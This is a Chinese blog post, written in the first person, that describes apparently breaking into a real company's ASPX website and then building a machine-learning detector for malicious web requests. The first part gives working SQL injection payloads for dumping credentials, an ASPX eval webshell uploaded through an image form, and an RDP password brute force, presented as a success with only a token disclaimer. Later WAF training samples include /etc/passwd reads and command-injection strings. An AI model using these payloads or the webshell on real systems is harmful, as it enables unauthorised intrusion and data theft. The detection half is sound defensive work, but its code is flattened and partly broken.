入侵某网站引发的安全防御思考

作者: 我是小三 博客: http://www.cnblogs.com/2014asm/ 由于时间和水平有限,本文会存在诸多不足,希望得到您的及时反馈与指正,多谢!

0x00:黑客入侵与防御方案介绍

1.  入侵是指黑客在任何地方,通过网络远程控制目标电脑/手机/服务器/网络设备,进而随意地读取目标的隐私数据,增加删除功能,又或者使用目标系统上的功能,包括但不限于使用手机的麦克风监听目标,使用摄像头偷窥监控目标,使用目标设备的计算能力挖矿,使用目标设备的网络能力发动DDoS攻击等等。亦或是破解了一个服务的密码,进去查看敏感资料、控制门禁/红绿灯等等。

2.  入侵防御是一种电脑网络安全设施,是对防病毒软件和防火墙的解释。 入侵防御是一种能够监视网络或网络设备与网络资料传输行为的计算机网络安全系统,能够即时的中断、调整或隔离一些不正常或是具有伤害性的网络资料传输行为。常见的产品有(IPS: Intrusion Prevention System)、防病毒软件(Antivirus Programs)和防火墙(Packet Filter, Application Gateway)。

0x01:网站入侵实战分析

1. 收集目标信息 目标是http://www.xxxxxx.com/Pages/About.aspx?id=95 上海某广告有限公司,网站是aspx编写,存在SQL注入,图1所示,判断是否存在注入点。服务器是windows server 2008 并开放了3389端口,如图2所示。

                图1

                图2

2. 漏洞利用 既然存在SQL注入漏洞,就可以尝试攻击能不能获取数据库信息,如图3所示,数据库基本信息己经获取到。 用到关键sql语句:

代码语言:javascript
复制
1' and 1=2 union all select 1, database(); #

                图3

接下来就是获取获取表名与字段数据,如图4所示: 用到关键sql语句:

代码语言:javascript
复制
1' and 1=2 union all select TABLE_SCHEMA, TABLE_NAME from information_schema.tables where table_schema = 'xxxx'; #
1' and 1=2 union all select TABLE_NAME, COLUMN_NAME from information_schema.columns where table_name = 'xxxx'; #
1' and 1=2 union all select user, password from users; #

                图4

如图4所示得到管理员密码为:4Cxxxxxxxxxxxxx。MD5解密得到:ERxxxxxxxx。 但是现在问题来了,虽然有了管理员密码,但是没有找到登录后台,就好比有了钥匙,但是不知道开谁家的门,现在还得找一下后台。 用御剑后台扫描工具爆破好像被服务器发现拒绝访问了,最后尝试使用google hacking语法测试找到其后台为http://www.xxxxxxx.com/Admin/Login.aspx?returnUrl=%2fadmin%2flogin.aspx,然后登录成功,如图5、6

                图5

                图6

3. 维持访问Webshell Webshell是攻击者使用的恶意脚本,其目的是升级和维护对已经受到攻击的WEB应用程序的持久访问。Webshell通常包含一个后门,允许攻击者远程访问,并能在任何时候控制服务器。这样攻击者省去了每次访问攻击服务器需要利用漏洞的时间。攻击者也可能选择自己修复漏洞,以确保没有其他人会利用该漏洞。 登录到后台看到有一个上传图片的地方可以上传WebShell,webShell代码如下:

代码语言:javascript
复制
<%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>

最后上传成后用菜刀连接如图7所示。

              图7

4. 权限提升 大部分黑客在入侵一个网站后,通常会将asp或php后门文件与网站服务器web目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门,得到一个命令执行环境,以达到控制网站服务器的目的,但是除非服务器配置错误,否则webshell一般在web服务器的用户权限下运行,该用户权限有限的。通过使用webshell,攻击者可以尝试通过利用系统上的本地漏洞来执行权限升级攻击,以假定根权限,在Linux和其他基于Unix的操作系统中,根权限是“超级用户”。通过访问根帐户,攻击者基本上可以在系统上做任何事情,包括安装软件、更改权限、添加和删除用户、窃取密码、读取电子邮件等等。 从信息收集我们可以知道目标服务器开了3389端口,如图8所示。

                图8

我们可以尝试通过爆破的方式来试试运气。运气不错,管理员设置了一个超级简单的密码,最终被成功破解登录,如图9所示。

                图9

最终拿到了服务器的控制权,以上内容仅供学习参考,请勿非法测试。

0x02:web安全框架简述

1.  不论是攻击还是防御,我们都要清楚地知道什么地方可能存在攻击点,什么地方须要重点防御,基于此我把它分成如图10所示的分类。

                图10

如上图10所示,将Web安全程简化为3类:

常规安全:注入、XSS、文件上传、文件包含、CSRF 等安全漏洞。

业务安全:开发、逻辑漏洞,包括篡改类、验证码类、越权类漏洞,比如:商品数量篡改、积分篡改、单价篡改、现金篡改、订单号篡改等。

第三方安全与0-nDay:第三方依赖包漏洞、开发框架漏洞,未知的漏洞,与一些nDay,在Web应用系统开发过程中,会使用一些开源的前端、后端框架,来实现快速、规范开发。在选用实际的框架时,需对框架进行安全评估,以防止出现安全漏洞,把一些不需要安全风险引入到业务系统中。比如Spring中CVE-2018-1270 漏洞,造成远程代码执行,JAVA 反序列化执行漏洞,攻击者可以通过此漏洞远程执行恶意代码来入侵服务器。

2. 对不同类型的安全问题须要的不同的时间段有不同的应对方式,同样我也把这个过程分为三步,如图11所示。

                图11

事前这一步其实是很关键的一步,这一步是尽可能发现更多的安全隐患,然后解决掉。就像在医学界一样,早在《黄帝内经》“治未病”思想中,防病养生谋略,是至今为止我国卫生界所遵守的“预防为主”战略的最早思想,它包括未病先防、已病防变、已变防渐等多个方面的内容,这就要求人们不但要治病,而且要防病,不但要防病,而且要注意阻挡病变发生的趋势、并在病变未产生之前就想好能够采用的救急方法,这样才能掌握疾病的主动权,达到“治病十全”的“上工之术”。做到在疾病没有来,就消除了。扯得有点远了。回到WEB安全,事前进行安全测试,发现安全问题,尽量减少外部安全隐患是多么的重要。 第一步也只能是尽量减少安全隐患,当漏了安全问题的时候,我们就须要用到防御与检测对应着事中与事后,比如防火墙、入侵检测系统、web应用防火墙,风险控制,降低服务运行权限,取消上传目录的执行权限。就算攻击者服务器的shell,尽量降低安全风险。

0x03:机器学习攻击检测模型WAF探索

1.  根据最新CyberEdge年度网络威胁防御报告,超过90%的IT安全组织投身于机器学习(ML)和/或人工智能(AI)技术,以应对高级网络威胁。可见机AI在网络安全领域的重要性。目前己知的安全产品也应用到了AI技术并取得不错的效果。

2.  不管是用传统的WAF还是用AI来做安全防御,总之知道如何攻击才能更好的地防御,我把攻击与防御做一个简单的流程对比,如图12所示。

                图12

3. WAF (WebApplication Firewall) 是网站安全防护体系里最常用也最有效的防御手段之一,被广泛应用于 Web 业务及网站的安全防护中,如果要保障 WAF 有效拦截黑客入侵,关键在于 Web 攻击检测的有效性。当前 WAF 的主流检测手段有基于规则和基于语义规则两种: 基于规则的 WAF,通过维护大量的已知攻击手法的特征规则,用特征规则匹配来检查目标流量中的攻击行为,这种方式简单有效,但是规则难以有效应对 0day 攻击与规则以外的黑客攻击手法。 基于语义分析是在理解程序本身语言规范基础上,通过匹配攻击特征检测 Web 攻击。典型的应用是针对SQL 数据库语言的 SQL 注入攻击,及针对 JS 语言的 XSS 攻击的攻击检测。理论上可以解决基于正则的规则的漏报和误报的问题,不过也不是万能的,比如http协议中究竟哪部分是疑似可执行的代码段,这个就是个不好解决的问题。另外http协议中,对于SQL注入攻击存在的都是代码段,或者说是SQL片段,如何保证拼接可以正常解析也是很难的事情。可以参考这篇文章https://www.cnblogs.com/2014asm/p/10834818.html。

4.  基于规则、语义分析结合的 WAF 将 Web 攻击检测技术提高了一个台阶,但防护仍然不具备对未知威胁的进化适应能力,处于被动应对攻击状态。如果能将“被动应对”变为“主动进化”,WAF 的防护能力可以更进一步得到提升:如果能通过机器学习经验数据,形成有效的行为模型,然后对请求事件做出判断和预测,将使产品具备自学习、自进化、自适应的特性。将机器学习应用到 WAF 攻击检测中,理论上可以进一步提升 WAF 的能力。

5. 本文使用机器学习中逻辑回归算法建立检测模型,实现对网络请求进行恶意检测。 简单介绍算法原理:Logistic回归为概率型非线性回归模型,是研究二分类观察结果与一些影响因素之间关系的一种多变量分析方法。通常的问题是,研究某些因素条件下某个结果是否发生,比如医学中根据病人的一些症状特征来判断它是否患有某种病。

检测模型建立整体流程如图13所示:

                图13

建模主要步骤: 分别拿到正常请求和恶意请求的数据集。 对无规律的数据集进行处理得到特征矩阵。 使用机器逻辑回归方式使用特征矩阵训练检测模型。 最后计算模型的准确度,并使用检测模型判断未知请求是恶意的还是正常的。 恶意的数据集来自 https://github.com/foospidy/payloads中的一些XSS、SQL注入等攻击的payload,一共整理出50000条恶意请求作为恶意的数据集;正常请求的数据集来自于http://secrepo.com/, 攻击1000000条日志请求, 比如有恶意请求部分样本如下:

代码语言:javascript
复制
/scripts/edit_image.php?dn=1&userfile=/etc/passwd&userfile_name= ;id;
/launch.asp?nfuse_application=<script>alert('vulnerable')</script>
/main.php?logout=1' and 1=1 and ''<>'kxshru8u

在收集的样本集中无论是恶意请求数据集还是正常请求数据集,都是不定长的字符串列表,很难直接用逻辑回归算法对这些不规律的数据进行处理,所以,需要对文本进行数字特征化,用来训练我们的检测模型。处理完特征化后用作为训练的数据集,可以先从中取出一少部分数据用来测试已经训练好的模型的准确率,可以直接使用scikit-learn提供的 train_test_split 方法对原始数据集进行分割。 有了训练数据,可以直接使用逻辑回归的方法来训练我们的模型,直接调用scikit-learn 定义一个逻辑模型实例,然后调用训练方法,传值训练数据即可,全部代码如下:

代码语言:javascript
复制
# coding: utf-8
import os
from sklearn.feature_extraction.textimport TfidfVectorizer
from sklearn.model_selectionimport train_test_split
from sklearn.linear_modelimport LogisticRegression
import urllib
import time
import pickle
import html
import warnings
warnings.filterwarnings('ignore')

class WAF(object):

def init(self):
pass
def ML_Train(self):
good_query_list = self.get_query_list('goodqueries.txt')
bad_query_list = self.get_query_list('badqueries.txt')
print('===========start========')

good_y = [0 for iin range(0,len(good_query_list))]
bad_y = [1 for iin range(0,len(bad_query_list))]

    queries = bad_query_list+good_query_list
    y = bad_y + good_y

#converting data to vectors
self.vectorizer = TfidfVectorizer(tokenizer=self.get_ngrams)
X = self.vectorizer.fit_transform(queries)
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=20, random_state=42)
self.lgs = LogisticRegression()
self.lgs.fit(X_train, y_train)
print('模型准确度:{}'.format(self.lgs.score(X_test, y_test)))#模型的准确度
def predict(self,new_queries):
new_queries = [urllib.parse.unquote(url) for urlin new_queries]
X_predict = self.vectorizer.transform(new_queries)
res = self.lgs.predict(X_predict)
res_list = []
for q,rin zip(new_queries,res):
tmp = '正常请求'if r == 0 else '恶意请求'

print('{} {}'.format(q,tmp))

q_entity = html.escape(q)
res_list.append({'url':q_entity,'识别结果':tmp})
print("预测结果:{}".format(str(res_list)))
return res_list
def get_query_list(self,filename):
directory = str(os.getcwd())

directory = str(os.getcwd())+'/module/waf'

filepath = directory + "/" + filename
data = open(filepath,'r', encoding='UTF-8').readlines()
query_list = []
for din data:
d = str(urllib.parse.unquote(d)) #converting url encoded data to simple string
# print(d)
query_list.append(d)
return list(set(query_list))
def get_ngrams(self,query):
tempQuery = str(query)
ngrams = []
for iin range(0,len(tempQuery)-3):
ngrams.append(tempQuery[i:i+3])
return ngrams

最后检测模型的准确度与验证模型效果,简单构造几个请求去进行预测,判断的结果如下:

代码语言:javascript
复制
if name == 'main':
wf = WAF()
wf.ML_Train()
wf.predict(['http://localhost/id=1<script>alert(666)</script>',#xss攻击
'http://localhost/name=admin&#39; or 1=2',#sql注入
'http://localhost/index.php?id=1 and 1=2',#sql注入
'http://localhost/index.php?id=1',#sql注入
'http://www.exehack.net/article.asp?id=6 and (select count(*) from sysobjects)>0',#sql注入
'article.asp?id=6 group by admin.username,admin.password having 1=1–',#sql注入
'http://localhost/admin.php'])#正常
===========start========
模型准确度:0.95
预测结果:
[{'url': 'http://localhost/id=1&lt;script&gt;alert(666)&lt;/script&gt;', '识别结果': '恶意请求'},
{'url': 'http://localhost/name=admin&#x27; or 1=2', '识别结果': '恶意请求'},
{'url': 'http://localhost/index.php?id=1 and 1=2', '识别结果': '恶意请求'},
{'url': 'http://localhost/index.php?id=1', '识别结果': '恶意请求'},
{'url': 'http://www.exehack.net/article.asp?id=6 and (select count(*) from sysobjects)&gt;0', '识别结果': '恶意请求'},
{'url': 'article.asp?id=6 group by admin.username,admin.password having 1=1–', '识别结果': '恶意请求'},
{'url': 'http://localhost/admin.php', '识别结果': '正常请求'}]

结果都能准确识别出是否为恶意请求,但是这只是检测常见攻击的模型,还有像业务安全,只能结合自身业务,确定正常或者威胁的请求数据作为训练数据集训练模型这样才能更加适用于当前业条环境。以上就是用机器学习算法来训练恶意请求检测模型,训练检测模型的方式有许多种,常见的有SVM或是其他机器学习算法,基于逻辑回归检测的有效性非常依赖于训练数据集,在应用时可以定期把检测出确定威胁的请求放入原始数据集中,对检测模型进行优化,检测结果会更加精准。

0x04:总结

1. 个人认为好的技术一定是从公司的状况出发,最新的、最先进、最牛B的技术不一定就是最合适的技术,最合适公司当前业务的技术才是最有价值的技术。同样一个好的安全防御产品不是全能型的,不是万金油,也不可能包打天下,只有相互配合不同的安全产品才能更好的做到安全防护。
AI在Web攻击检测上存在延迟问题,由于机器学习在处理大数据时需要相对较长的处理时间,如相对复杂的算法理论上可以实现更加精准的识别,但是由于AI检测的处理延迟将会严重影响业务性能,这也是AI WAF落地Web攻击检测必须解决的问题。